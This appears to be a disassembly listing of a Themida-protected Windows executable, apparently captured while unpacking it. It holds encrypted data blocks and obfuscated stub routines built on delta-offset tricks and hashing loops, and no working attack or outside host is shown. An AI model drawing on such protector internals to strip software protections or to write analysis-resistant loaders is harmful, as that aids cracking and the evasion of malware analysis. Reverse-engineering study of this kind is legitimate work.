759100D2h dd 77B7E36Dh, 0F6001A81h, 0BE25025Dh, 370B33E4h, 0D5596188h dd 5438E0A7h, 69C43502h, 723EF8A3h, 657500E4h, 2047091Ah dd 0C13CEB9h, 0A809DC6Dh, 0EF5C85EBh, 340D980Fh, 96680780h dd 1C778E22h, 2680B4AAh, 0F4FEAF8h, 80AD17BCh, 719420E0h dd 21009E7Bh, 94317E96h, 1F394E0Bh, 12344C62h, 382820B8h dd 851F18C6h, 8A0B9450h, 9FB4994Dh, 0EBCD5F10h, 99E1E70Fh dd 14830035h, 16080D98h, 8DF45E4Ah, 0E99AEC50h, 8FD23A05h dd 9CC1F850h, 0E87C1152h, 27B22B8Eh, 90917414h, 7597A48Ch dd 90D3F09h, 0B3640108h, 0F040D7ADh, 0A39D48h, 15B87594h dd 0E2C678EFh, 170EB606h, 5901E5h, 0B08057A2h, 8109374Fh dd 30858B33h, 985DA803h, 256D1FAEh, 0E1174ACCh, 0C18D4780h dd 2A8EB4D0h, 0DB612420h, 0A0B0045h, 33E1E228h, 48014C30h dd 0EE2A7169h, 4ECC67D1h, 305FE89Ah, 9939A0F4h, 0C0B01F28h dd 97C050BCh, 0C276EE1Eh, 949C0CA9h, 1C364081h, 4CE72151h dd 4F78C77Ch, 8ED5EE05h, 6080A813h, 0FE58038h, 57A33183h dd 0B058011Fh, 2A01D5C1h, 0B7BD428h, 41B64FEDh, 599B8F86h dd 0DF704000h, 9D50AFEEh, 769E0139h, 781F89F7h, 53C443D6h dd 3075AAE0h, 203FA927h, 9F5E0AB4h, 0C205804h, 0F4CD1584h dd 0E74CBB20h, 0D3338020h, 1990155h, 2D8D8FA4h, 0E4E13506h dd 69099F6Dh, 98C350CDh, 3FBBB238h, 5D80151Bh, 694CF38Eh dd 0A7005EE5h, 0DEA69FC1h, 0C7F1DBCh, 903D198Ah, 0DB00A5C9h dd 260131E3h, 8036A4h, 41F95C4Dh, 32206E91h, 0B07BEC2Ah dd 6A305100h, 7AB3F899h, 2C2D24D6h, 4F003DF9h, 27595769h dd 38002F95h, 0ACBDBEE6h, 52170DB8h, 2B05A8E8h, 0A4877866h dd 8E006A30h, 0B65EFB6Ch, 1F6D6185h, 0C968B59Dh, 0DC00D0F1h dd 0C180B8EEh, 0A8271502h, 0FAE09972h, 392A00BCh, 24920244h dd 8E09266Ah, 0C80BE672h, 0E23F36DCh, 8DF13CFCh, 0FD53A000h dd 0D4AD2E6Dh, 37789201h, 5E99EE3Ah, 88102321h, 0DD17D0h dd 366D7A14h, 5FE3660Bh, 0A94771C0h, 98208Ah, 492E5056h dd 38A5426Fh, 0A73C9117h, 1702088h, 0C7FB271Bh, 7012C029h dd 560073C4h, 41B3039Ch, 8A78BAh, 0B88DA879h, 80496F19h dd 0E9F69900h, 72C769FEh, 7BCA4E0h, 85C3A82Dh, 915FE01Dh dd 5E00C0D4h, 5D5CA781h, 3D213655h, 0A049B089h, 523D8Fh dd 0CA5CE744h, 0DC991EA4h, 0DD96B380h, 18629F98h, 19AA5EDCh dd 0F0F78174h, 2C991E04h, 9516803Ch, 0C843E920h, 0A0DAB847h dd 5B92EB64h, 2D002096h, 9D00B129h, 7557BC8Fh, 10C2BE3h dd 270F25D6h, 1063EF9Fh, 284DC478h, 3DB09140h, 121E7B06h dd 0C2B526Fh, 0A6B91E50h, 70B84578h, 0BB9D6808h, 0EBA8474Ah dd 0F144800h, 0AA1ED933h, 1100CCA0h, 5D18B872h, 61D8008Dh dd 3CB447F5h, 6D0A7197h, 0BCB57638h, 80770E09h, 39F7F63Ch dd 0C09CBC21h, 9E59A39Ah, 1844B58h, 1F3B7A51h, 247CF9E5h dd 0D600F443h, 9B0524F6h, 0BF0F8FA2h, 0A216907Ch, 6040A631h dd 256EF0D8h, 0E490815Fh, 3E22B4FFh, 2B14008Fh, 4F756A4Ah dd 173C4D05h, 638E00B9h, 956A4B5h, 810974Eh, 0EF1D8955h dd 9B40925Ch, 67C6E054h, 9D7913DDh, 0BBD8C88Ch, 0EC4B2002h dd 51DB3BD1h, 91E2076Ch, 8B25C057h, 0CA013258h, 30DB0940h dd 7422E077h, 47FBB900h, 0BCBF73D1h, 0BB3E8600h, 0FA7BB4B2h dd 8F190112h, 0EDD2E99Fh, 205ED55Bh, 45129E04h, 30D03E29h dd 1FCE1877h, 0C0BD42BBh, 59EEA07Bh, 0CB54295Ch, 950FF648h dd 0F7AFCD0h, 0A794C2A3h, 0B0E641h, 0A5FE96C4h, 7E0FCF21h dd 0D079EB3Dh, 0C2FA6DD0h, 6C569F00h, 0BC083BF1h, 5FE8EFh dd 770D7580h, 0E894D92Bh, 33802C94h, 9E81C17Ch, 69C097BEh dd 0C700A4D3h, 0DE11285Fh, 603EB6CCh, 7982C19Dh, 0CD4C0D19h dd 0C87500F3h, 3E654B0Fh, 9C1195B5h, 3A0E704Ah, 86DA941Fh dd 1EBA3B02h, 42D0C6E9h, 0ACDC241Ch, 12A2141Ch, 0A4835EDDh dd 0A09EE6D8h, 94DABE80h dd 734257Ah, 0DB11D84Ch, 0CABDE0AEh, 0EC4C366Ah, 3ADC8080h dd 5E9990Ch, 6516C641h, 17CA2A9h, 78102B3Dh, 0FC22E81Eh dd 5C46412h, 0C074CD84h, 0CBEF3B84h, 0C04E8F24h, 0CFEC0200h dd 29BB8183h, 7F01CC80h, 0B0FDFFh, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53C0A4: ; CODE XREF: start:loc_4E0265j ; DATA XREF: start:loc_4E0086o jmp loc_53F46D ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- align 4 dd 0B00000h, 0D4C96A00h, 57533777h, 2 dup(0) dd 9F000000h, 6 dup(0) dd 0FF90C000h, 0C4CBFFh, 4 dup(0) dd 59FF7300h, 2 dup(0) dd 40000000h, 2 dup(0) dd 0A069DD00h, 0 dd 0A0949900h, 5 dup(0) dd 32969C00h, 0B9h, 0 dd 49010800h, 2 dup(0) dd 5E995300h, 3Fh, 2 dup(0) dd 7A0BD800h, 104h, 0Dh dup(0) dd 0FFE0B000h, 0FFh, 0A48D5300h, 3 dup(0) dd 8C00h, 0 dd 57313E00h, 0 dd 57533700h, 6A6000h, 21669600h, 0C9h, 9 dup(0) dd 40878700h, 0Fh, 0Eh dup(0) dd 200h, 0Ah dup(0) dd 0FE030400h, 6E6C7Fh, 5 dup(0) dd 587F1D00h, 0FAh, 0FE030400h, 7Fh, 2 dup(0) dd 0A069DD00h, 7 dup(0) dd 0F7750500h, 0A0h, 0A7889E00h, 62h, 0 dd 12FEF000h, 2 dup(0) dd 58B27A00h, 2F8D8D00h, 48h, 2 dup(0) dd 0A069DD00h, 9 dup(0) dd 0A09C3700h, 2 dup(0) dd 5AA63E00h, 0 dd 593A4E00h, 6 dup(0) dd 0FB5E200h, 8Ah, 0 dd 0F54A5000h, 3800077h, 0 dd 5811C300h, 5A139D00h, 50F00h, 200h, 4 dup(0) dd 0A069DD00h, 4 dup(0) dd 9FB16800h, 5 dup(0) dd 57685400h, 6 dup(0) dd 0D4000000h, 77h, 0Eh dup(0) dd 7CF4E900h, 36h, 0D0E91800h, 98h, 0Dh dup(0) dd 3ADF6700h, 0E4h, 6 dup(0) dd 0A6F90000h, 0FFh, 2 dup(0) dd 100h, 0 dd 0F7EBB300h, 0FF8E6877h, 1C1EAFFh, 6 dup(0) dd 604C00h, 40000400h, 10h, 0E793EF00h, 77h, 371700h, 2 dup(0) dd 0F43FD400h, 7Eh, 0 dd 737A00h, 0B3693900h, 0FE030400h, 7Fh, 737A00h, 18077500h dd 0Fh, 1Ah dup(0) dd 0FF9BD400h, 576854FFh, 3 dup(0) dd 0E8000h, 0Ch dup(0) dd 100h, 0Ah dup(0) dd 0E7AC5E00h, 77h, 3 dup(0) dd 5701C700h, 585F9100h, 0A123E800h, 3 dup(0) dd 200h, 2 dup(0) dd 9FFDFF00h, 0FBh, 6 dup(0) dd 53002300h, 5 dup(0) dd 21212100h, 21h, 0 dd 0EC4ED000h, 0A0314580h, 57313E00h, 0A2B13400h, 3 dup(0) dd 59BC8E00h, 52h, 5 dup(0) dd 2CBD00h, 0 dd 0FFFFFF00h, 0A29BACFFh, 0 dd 68E100h, 0 dd 35B00h, 0 dd 0FDCCA300h, 0EFh, 4 dup(0) dd 57274900h, 0EC00h, 400h, 0 dd 1FFF00h, 3 dup(0) dd 0FE033C00h, 7Fh, 0 dd 8916AD00h, 20h, 0 dd 0A2731600h, 2 dup(0) dd 6781E800h, 1, 6 dup(0) dd 1900h, 57533700h, 5 dup(0) dd 57876200h, 3 dup(0) dd 40000000h, 4 dup(0) dd 0A0A00F00h, 0 dd 0F18DEF00h, 0F4h, 2214000h, 0 dd 24242400h, 0A0939324h, 0 dd 57685400h, 0C335D800h, 18h, 0FE288600h, 0F47Fh, 0 dd 0FE000400h, 7Fh, 4 dup(0) dd 0B7000000h, 58019900h, 4 dup(0) dd 56707D00h, 78h, 58F86B00h, 0Eh dup(0) dd 57E59900h, 2 dup(0) dd 59B12000h, 8B7B9100h, 60h, 2 dup(0) dd 0A069DD00h, 57D8D200h, 7 dup(0) dd 57002300h, 4 dup(0) dd 12FF5400h, 3 dup(0) dd 0F97F00h, 6 dup(0) dd 12FF5400h, 5 dup(0) dd 6D71D300h, 74AF3434h, 34h, 0 dd 5A5DD900h, 0Ch dup(0) dd 0A27FD800h, 0FF8B1400h, 0FFh, 8 dup(0) dd 26831700h, 5Fh, 0 dd 300h, 3 dup(0) dd 5939F100h, 0 dd 0E73D4500h, 0A2796E77h, 583FA600h, 3 dup(0) dd 0A6E41900h, 53F9B1FFh, 57002300h, 0AE6400h, 0Ah dup(0) dd 34567800h, 12h, 0 dd 0F525A000h, 0F9h, 7 dup(0) dd 0A0710F00h, 0 dd 661CB100h, 5, 0 dd 49010800h, 12FFE000h, 0 dd 53C6B500h, 4 dup(0) dd 5EFFC500h, 3044Dh, 4 dup(0) dd 113F9600h, 77h, 0 dd 0B05700h, 6 dup(0) dd 591BB200h, 49010800h, 3 dup(0) dd 56BFDE00h, 0DBh, 5C3A4300h, 444E4957h, 5C53574Fh, 74737953h dd 32336D65h, 5644415Ch, 33495041h, 6C642E32h, 6Ch, 3Dh dup(0) dd 56FF5400h, 3 dup(0) dd 0A03E3B00h, 2 dup(0) dd 6DD97400h, 0A0h, 4 dup(0) dd 0DBFEA500h, 0ABh, 2 dup(0) dd 628C00h, 974F6900h, 0E600006Dh, 77h, 4 dup(0) dd 100h, 6 dup(0) dd 36363600h, 598CB536h, 2 dup(0) dd 0CDADFE00h, 2, 0 dd 587EF700h, 3 dup(0) dd 400h, 2 dup(0) dd 0FFFFFF00h, 0A08C0AFFh, 0FE030400h, 7Fh, 4 dup(0) dd 0E7796300h, 511A6077h, 3 dup(0) dd 0D6B50D00h, 57C17F92h, 0 dd 0FE030400h, 7Fh, 57F0ED00h, 100h, 7 dup(0) dd 0B0A1FE00h, 0Bh dup(0) dd 57876200h, 8 dup(0) dd 0A6FC2700h, 0FFh, 0 dd 100h, 0 dd 0FE030400h, 7Fh, 8 dup(0) dd 1C400000h, 0 dd 0E0FFB000h, 1, 2 dup(0) dd 780600h, 0Bh dup(0) dd 4B12EF00h, 39h, 0 dd 0FE030400h, 0FB5E27Fh, 8Ah, 0A0A00F00h, 3 dup(0) dd 5A86E600h, 68E100h, 2 dup(0) dd 100h, 0 dd 0FE030400h, 7Fh, 0Bh dup(0) dd 40000000h, 5 dup(0) dd 5A643E00h, 4 dup(0) dd 0FB5E200h, 8Ah, 13h dup(0) dd 0A800h, 0 dd 57274900h, 0 dd 0FD8D8900h, 74h, 4 dup(0) dd 0CDB6E600h, 0Dh, 0 dd 59813100h, 0 dd 0E7A09900h, 77h, 7 dup(0) dd 56BFDE00h, 0DBh, 9 dup(0) dd 100h, 5A8DE300h, 3 dup(0) dd 0E7A83700h, 77h, 6 dup(0) dd 0FFFFFE00h, 475F5FFh, 8Bh, 2 dup(0) dd 0FF971F00h, 39FFh, 0 dd 0FE030400h, 7Fh, 0 dd 0E8360C00h, 77h, 0 dd 67CA7600h, 1Dh, 4 dup(0) dd 48C0A400h, 0FAh, 6 dup(0) dd 0FB5E200h, 948Ah, 2 dup(0) dd 0AEB1CA00h, 0AFFF8400h, 5 dup(0) dd 57021700h, 4 dup(0) dd 0A009F700h, 5 dup(0) dd 30400h, 0 dd 49388500h, 6FEh, 57B71900h, 0F5EE6700h, 0 dd 74D04300h, 0DD00000h, 57685400h, 0 dd 0C52FCA00h, 0EFh, 0Fh dup(0) dd 83826A00h, 0D9h, 0 dd 0BE8D8D00h, 70h, 0 dd 40000000h, 496CB800h, 2, 5 dup(0) dd 0A400h, 2 dup(0) dd 902800h, 2 dup(0) dd 1F005000h, 576854FEh, 4 dup(0) dd 0FFFF00h, 2 dup(0) dd 0D8173300h, 26h, 0 dd 57686600h, 3 dup(0) dd 12FFC400h, 0Ch dup(0) dd 577E7100h, 0 dd 5A2A9E00h, 2Bh dup(0) dd 12FF5400h, 11h dup(0) dd 4934EB00h, 46h, 584F1D00h, 28h dup(0) dd 12A700h, 0 dd 24015B00h, 5A299054h, 9 dup(0) dd 100h, 5A8F6700h, 0E0h, 0Ch dup(0) dd 9190DE00h, 9FD55476h, 0 dd 0FE030400h, 7Fh, 0 dd 0A069DD00h, 3 dup(0) dd 0B400h, 0AC00h, 6 dup(0) dd 56674100h, 6 dup(0) dd 12FEF000h, 0Bh dup(0) dd 593A8700h, 0C5267C00h, 0E0h, 5 dup(0) dd 0E83E6800h, 77h, 57685400h, 0 dd 5990C900h, 4 dup(0) dd 9F000000h, 0C530DF00h, 0A9h, 4 dup(0) dd 0A0FA5600h, 0 dd 2DB8F400h, 0C1h, 0 dd 200h, 939300h, 7 dup(0) dd 57955200h, 6 dup(0) dd 5A853C00h, 0 dd 12FD0800h, 0E7A5FD00h, 77h, 3 dup(0) dd 57533700h, 0B8779900h, 3Bh, 6 dup(0) dd 0E7A14400h, 4D366877h, 55h, 86C00h, 26h dup(0) dd 2A4C7100h, 49010856h, 5 dup(0) dd 5AC9C300h, 3 dup(0) dd 57685400h, 3 dup(0) dd 5A407700h, 59000000h, 2, 3 dup(0) dd 0A069DD00h, 5 dup(0) dd 0FF918000h, 0FFh, 2 dup(0) dd 57002300h, 12h dup(0) dd 0E8279000h, 77h, 0B6BA6300h, 0FEh, 5 dup(0) dd 40000000h, 3 dup(0) dd 0A08C0A00h, 0 dd 5938FA00h, 3 dup(0) dd 0FE030400h, 7Fh, 6 dup(0) dd 737A00h, 0FE030400h, 7Fh, 50F00h, 3 dup(0) dd 93D89000h, 13h, 2 dup(0) dd 100h, 7 dup(0) dd 0FF917C00h, 0FFh, 6 dup(0) dd 0FFB000h, 2, 0 dd 0E7C48600h, 7CF4E977h, 36h, 0EB411500h, 7E219D10h, 0A9h dd 4 dup(0) dd 40000000h, 5 dup(0) dd 0A9FD3300h, 0FFh, 2 dup(0) dd 59F5C300h, 2 dup(0) dd 57F32600h, 2 dup(0) dd 65685400h, 6164696Dh, 20h dup(0) dd 5B2DD600h, 6 dup(0) dd 59070000h, 0 dd 40000000h, 3 dup(0) dd 8D06C600h, 13727302h, 97h, 0E78B8200h, 9F0FE677h, 2 dup(0) dd 57685400h, 0E78B8200h, 77h, 3 dup(0) dd 400h, 5 dup(0) dd 40000000h, 5A000000h, 2, 0 dd 5A13CD00h, 2A57BC00h, 6, 3 dup(0) dd 0C1B5600h, 0BF0B0h, 57DA9D00h, 7 dup(0) dd 0FE030400h, 7Fh, 57876200h, 81429400h, 0FEh, 737A00h dd 2 dup(0) dd 8A950500h, 1Bh, 4 dup(0) dd 36F100h, 3 dup(0) dd 0DD5ECC00h, 77h, 3 dup(0) dd 0BF000000h, 7 dup(0) dd 2B8200h, 3 dup(0) dd 9F000000h, 2 dup(0) dd 2428B400h, 88h, 5 dup(0) dd 5B25C700h, 0E8216800h, 0ED00AC77h, 0FFh, 3A000h, 9BD400h dd 0 dd 0B41B4000h, 76h, 0AF5FF400h, 0 dd 0A897AC00h, 0FFh, 0E8216400h, 77h, 3 dup(0) dd 57A27900h, 0 dd 0F8F07F00h, 24015B5Ch, 54h, 0FFFFFF00h, 411519FFh, 57AC804Bh dd 5 dup(0) dd 0DD000000h, 77h, 0 dd 898B6F00h, 0FBh, 737A00h, 0E805D800h, 77h, 2 dup(0) dd 0A0923400h, 0 dd 0F7AC0500h, 0A0h, 0A0A03700h, 5 dup(0) dd 56CBAC00h, 3 dup(0) dd 10A9E900h, 2 dup(0) dd 0FFFF00h, 2 dup(0) dd 0FE030400h, 787Fh, 5 dup(0) dd 53E94D00h, 9 dup(0) dd 0ED009C00h, 0FFh, 200h, 0 dd 0DCCBDE00h, 4Ch, 0 dd 4934EB00h, 46h, 0 dd 9000h, 5 dup(0) dd 7400h, 5A2A4C00h, 0 dd 0FFA08400h, 0FFh, 3 dup(0) dd 8E800h, 200h, 0 dd 0CE5EE400h, 0E8h, 6 dup(0) dd 100h, 0 dd 74AF3500h, 0FFE9DD34h, 0FFh, 8800h, 0FE030400h, 7Fh dd 4 dup(0) dd 545F0200h, 5 dup(0) dd 7000h, 9 dup(0) dd 11111100h, 0FF9D9011h, 0FFh, 5536EB00h, 53h, 9 dup(0) dd 57685400h, 33333300h, 2 dup(33333333h), 53E94D33h, 3 dup(0) dd 41000C00h, 2, 2 dup(0) dd 0A0229200h, 0EF561700h, 0FFh, 53F33500h, 7C00h, 4 dup(0) dd 0D817BB00h, 40100026h, 8 dup(0) dd 780600h, 56FF6E00h, 0 dd 0D50000h, 0B3h dup(0) dd 58105500h, 0 dd 59DF7300h, 5 dup(0) dd 57274900h, 2 dup(0) dd 5AFFFF00h, 21h dup(0) dd 53E94D00h, 3 dup(0) dd 0A4999500h, 2 dup(0) dd 5A9F5300h, 2 dup(0) dd 5A070E00h, 0 dd 5A349800h, 2 dup(0) dd 5B5B2500h, 0FE030483h, 0A07Fh, 3 dup(0) dd 57876200h, 0 dd 53FE5300h, 0FFF71500h, 0FFh, 6 dup(0) dd 5A48A800h, 81821301h, 53E94D1Fh, 0Ah dup(0) dd 7933CC00h, 98h, 0BDAA00h, 6 dup(0) dd 0CE2BA00h, 6, 0 dd 200h, 2B00h, 2 dup(0) dd 100000h, 8 dup(0) dd 9F003E00h, 0E001400h, 4 dup(0) dd 737A00h, 0 dd 59118800h, 80h, 8D000000h, 2, 2 dup(0) dd 57685400h, 7 dup(0) dd 0E88D8D00h, 0D1h, 30400h, 2 dup(0) dd 57A41400h, 2 dup(0) dd 0D921D00h, 0DDh, 5 dup(0) dd 57313E00h, 2 dup(0) dd 0A0A00F00h, 5 dup(0) dd 0FB5E200h, 8Ah, 0 dd 0EFAB8D00h, 0AFh, 0A069DD00h, 0A8971F00h, 0FFh, 0 dd 737A00h, 0FE030400h, 7Fh, 0 dd 55FFBA00h, 0E75CB5FFh, 77h, 6 dup(0) dd 0A05E2E00h, 58E94D00h, 0 dd 12FFF000h, 57313E00h, 0 dd 12FF5400h, 5 dup(0) dd 0FB3AD800h, 0F52E0FACh, 77h, 0 dd 0FF7FFD00h, 4 dup(0) dd 0E8061800h, 77h, 0 dd 57DBCE00h, 0 dd 9C00h, 50F00h, 2D343000h, 31h, 59C7E900h, 5701EF00h dd 6 dup(0) dd 0A070C400h, 4934EB00h, 5A6FC746h, 3 dup(0) dd 68519D00h, 0B3h, 3 dup(0) dd 57685400h, 2 dup(0) dd 400A0C00h, 7 dup(0) dd 0E82FE800h, 0FFFFFD77h, 0FFh, 3 dup(0) dd 0FFFAF100h, 0FFh, 4 dup(0) dd 0CD000000h, 2, 2 dup(0) dd 0FE030400h, 14347Fh, 13h dup(0) dd 0FE030400h, 5797A87Fh, 0FF917C00h, 0FFh, 6 dup(0) dd 22222200h, 22222222h, 22h, 3 dup(0) dd 66B94500h, 1, 75B500h, 5 dup(0) dd 9800h, 0E888C300h, 0F7h, 4001D800h, 0B800h, 0C00B0000h dd 18C20374h, 24448B00h, 0E8530Ch, 5B000000h, 17C381h dd 5C890000h, 44891024h, 0B85B1424h, 0A0A037h, 448BE0FFh dd 0E0FF0424h, 15h dup(0) dd 59900D00h, 0 dd 30400h, 6 dup(0) dd 0A0915B00h, 0 dd 0A7033C00h, 5A6FC7FFh, 0F59FB700h, 5A2F2057h, 4000C800h dd 0A1156800h, 2 dup(0) dd 57685400h, 0 dd 0E7A13F00h, 77h, 585F9100h, 0 dd 5059ED00h, 10A9E975h, 0Ah dup(0) dd 0A3CBA900h, 13h, 0Ch dup(0) dd 0E7266E00h, 5C3A4377h, 6E755F6Dh, 6B636170h, 7265h dd 85h dup(0) dd 53C5DD00h, 3 dup(0) dd 3C60000h, 4 dup(0) dd 8400h, 2 dup(0) dd 0F36D5000h, 8Eh, 7 dup(0) dd 8EB00h, 7 dup(0) dd 5C000000h, 2, 0 dd 57A1F000h, 53F00900h, 5907EC00h, 4 dup(0) dd 4934EB00h, 46h, 8 dup(0) dd 0A02BDE00h, 7 dup(0) dd 57533700h, 0 dd 7D8EA500h, 9, 0 dd 0F0385600h, 564324h, 5 dup(0) dd 0AE000000h, 5 dup(0) dd 1857C900h, 88h, 5A412700h, 0C530DF00h, 0A9h, 0Ah dup(0) dd 0A8AEB800h, 0FFh, 3 dup(0) dd offset loc_57E300 dd 0 dd 0A03E3B00h, 28010500h, 0Ah, 0 dd 0E805D800h, 77h, 0 dd 0A8119E00h, 0FFh, 0A1326800h, 0 dd 0F5180B00h, 77h, 0 dd 587EE400h, 0 dd 7F6C9100h, 38881h, 8 dup(0) dd 1B46D100h, 33h, 4 dup(0) dd 1FCFC00h, 80h, 57002300h, 0A4A5E700h, 4 dup(0) dd 8E400h, 3 dup(0) dd 0F5000000h, 77h, 4 dup(0) dd 0A593F400h, 0F4h, 5 dup(0) dd 591D1F00h, 2 dup(0) dd 11029A00h, 0BEh, 3 dup(0) dd 0FE030400h, 7Fh, 4 dup(0) dd 5AA75B00h, 54E3D700h, 70h, 0 dd 57DA0600h, 3 dup(0) dd 107500h, 2 dup(0) dd 0FE030400h, 7Fh, 0 dd 0CA71AC00h, 28h, 2 dup(0) dd 56CBAC00h, 3 dup(0) dd offset dword_576400 dd 0 dd 209A6500h, 22FE886h, 3 dup(0) dd 57685400h, 0 dd 0CC00h, 0 dd 0FF8D9700h, 0FFh, 5 dup(0) dd 737A00h, 0 dd 57F32600h, 5 dup(0) dd 8000h, 4 dup(0) dd 0D4C96A00h, 77h, 0 dd 0DD23D700h, 77h, 0 dd 0CEAADF00h, 0FF917C5Fh, 490108FFh, 5 dup(0) dd 496B9C00h, 2, 2 dup(0) dd 84A95300h, 156h, 9 dup(0) dd 0A069DD00h, 0DD189A00h, 58DFBF77h, 0 dd 57A34A00h, 12h dup(0) dd 5993A800h, 0BF00F880h, 4968DE00h, 0BAh, 5 dup(0) dd 0BC0E3E00h, 66h, 3 dup(0) dd 5B000000h, 0B05702h, 3 dup(0) dd 0BF743E00h, 82h dup(0) dd 58000000h, 2 dup(0) dd 0B000h, 0 dd 48491000h, 2Ah, 13h dup(0) dd 5A400800h, 2 dup(0) dd 0FB5E200h, 8Ah, 0 dd 0A06A2D00h, 4DE00000h, 0 dd 0A5BDD100h, 0FFh, 100h, 58244900h, 0Ah dup(0) dd 57274900h, 0EBA6E900h, 77h, 3 dup(0) dd 0A069DD00h, 2 dup(0) dd 5A619900h, 5 dup(0) dd 0FF910C00h, 0FFh, 0 dd 0E6D70600h, 77h, 0Bh dup(0) dd 0FF8B1400h, 0FFh, 53F00A00h, 24015B00h, 54h, 0E7A14400h dd 0A7005077h, 0FDh, 3 dup(0) dd 4960200h, 0FFh, 0 dd 4934EB00h, 46h, 0FE030400h, 0DD59F07Fh, 77h, 57685400h dd 0 dd 0A0A00F00h, 3 dup(0) dd 53E40900h, 7 dup(0) dd 0E776CD00h, 41000077h, 2, 0E75CB500h, 0A7BC2D77h, 0FFh dd 54025600h, 12FF5400h, 64h dup(0) dd 0A1156400h, 0Dh dup(0) dd 597F5D00h, 32h, 0Ch dup(0) dd 50F00h, 0 dd 0B5C800h, 55597400h, 86h, 0 dd 4934EB00h, 46h, 5AD80900h, 4 dup(0) dd 0E4800h, 7 dup(0) dd 57313E00h, 2 dup(0) dd 100h, 0A0939300h, 0Ah dup(0) dd 0E74A3B00h, 77h, 6 dup(0) dd 49010800h, 18h dup(0) dd 100h, 0 dd 57FFC200h, 0A0710F00h, 0 dd 5A000000h, 88296902h, 3Bh, 737A00h, 2 dup(0) dd 4000FE00h, 0 dd 28939D00h, 71h, 0 dd 12FFA400h, 0 dd 73655200h, 74726174h, 2E707041h, 657865h, 4 dup(0) dd 9F0FE600h, 0 dd 0FD4E8700h, 0CDh, 3 dup(0) dd 12FF5400h, 0 dd 0A777AD00h, 5A71100Dh, 0E888C300h, 0F7h, 7 dup(0) dd 582FD800h, 2 dup(0) dd 100h, 0FF918000h, 0FFh, 0 dd 53E11900h, 0 dd 93CCBB00h, 0E5h, 0 dd 800h, 2 dup(0) dd 100h, 5 dup(0) dd 0C5209900h, 7D11Bh, 8 dup(0) dd 57313E00h, 100h, 2 dup(0) dd 39000000h, 0Dh, 5A400800h, 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53F46D: ; CODE XREF: start:loc_53C0A4j mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 60B33D3h mov [ebp+60B102Dh], edx mov [ebp+60B2891h], esi mov [ebp+60B217Dh], eax cmp dword ptr [ebp+60B067Dh], 0 jz short loc_53F4A5 mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_53F4A5: ; CODE XREF: start+5F483j mov eax, [esp+40h+var_1C] mov [ebp+60B21A5h], eax push 45h call sub_53F559 push 783749Ah call sub_53F59F push 0A894B25h call sub_53F59F jmp loc_53F6E3 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 45h dd 49484746h, 4D4C4B4Ah, 51504F4Eh, 55545352h, 59585756h dd 5D5C5B5Ah, 61605F5Eh, 65646362h, 69686766h, 6D6C6B6Ah dd 71706F6Eh, 75747372h, 79787776h, 7D7C7B7Ah, 81807F7Eh dd 85848382h, 89888786h, 8D8C8B8Ah, 91908F8Eh, 95949392h dd 99989796h, 9D9C9B9Ah, 0A1A09F9Eh, 0A5A4A3A2h, 0A9A8A7A6h dd 0ADACABAAh, 0B1B0AFAEh, 0B5B4B3B2h, 0B9B8B7B6h, 0BDBCBBBAh dd 0C1C0BFBEh, 0C3C2h, 2 dup(0) db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_53F559 proc near ; CODE XREF: start+5F49Dp var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 60B34C1h mov ebx, edx mov [ebp+var_28], 0 loc_53F575: ; CODE XREF: sub_53F559+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_53F594 mov eax, [ebp+arg_0] mov [ebx+60B342Bh], eax inc [ebp+arg_0] inc ebx jmp short loc_53F575 ; --------------------------------------------------------------------------- loc_53F594: ; CODE XREF: sub_53F559+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_53F559 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_53F59F proc near ; CODE XREF: start+5F4A7p start+5F4B1p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 60B350Ah lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_53F5C5: ; CODE XREF: sub_53F59F+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_53F5C5 mov [ebp+var_84], 0 lea edi, [edx+60B342Bh] lea esi, [ebp+var_80] loc_53F5F5: ; CODE XREF: sub_53F59F+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_53F601: ; CODE XREF: sub_53F59F+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_53F601 imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_53F5F5 popa leave retn 4 sub_53F59F endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_53F63F ; --------------------------------------------------------------------------- loc_53F63B: ; CODE XREF: Themida_:0053F642j inc dword ptr [ebp-4] inc esi loc_53F63F: ; CODE XREF: Themida_:0053F639j cmp byte ptr [esi], 0 jnz short loc_53F63B mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_53F6D0 ; --------------------------------------------------------------------------- loc_53F651: ; CODE XREF: Themida_:0053F6D3j mov dword ptr [ebp-8], 0 jmp short loc_53F6C7 ; --------------------------------------------------------------------------- loc_53F65A: ; CODE XREF: Themida_:0053F6CBj mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_53F6B4 ; --------------------------------------------------------------------------- loc_53F66A: ; CODE XREF: Themida_:0053F6B8j shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_53F68C cmp bl, 39h ja short loc_53F68C sub bl, 30h jmp short loc_53F6AE ; --------------------------------------------------------------------------- 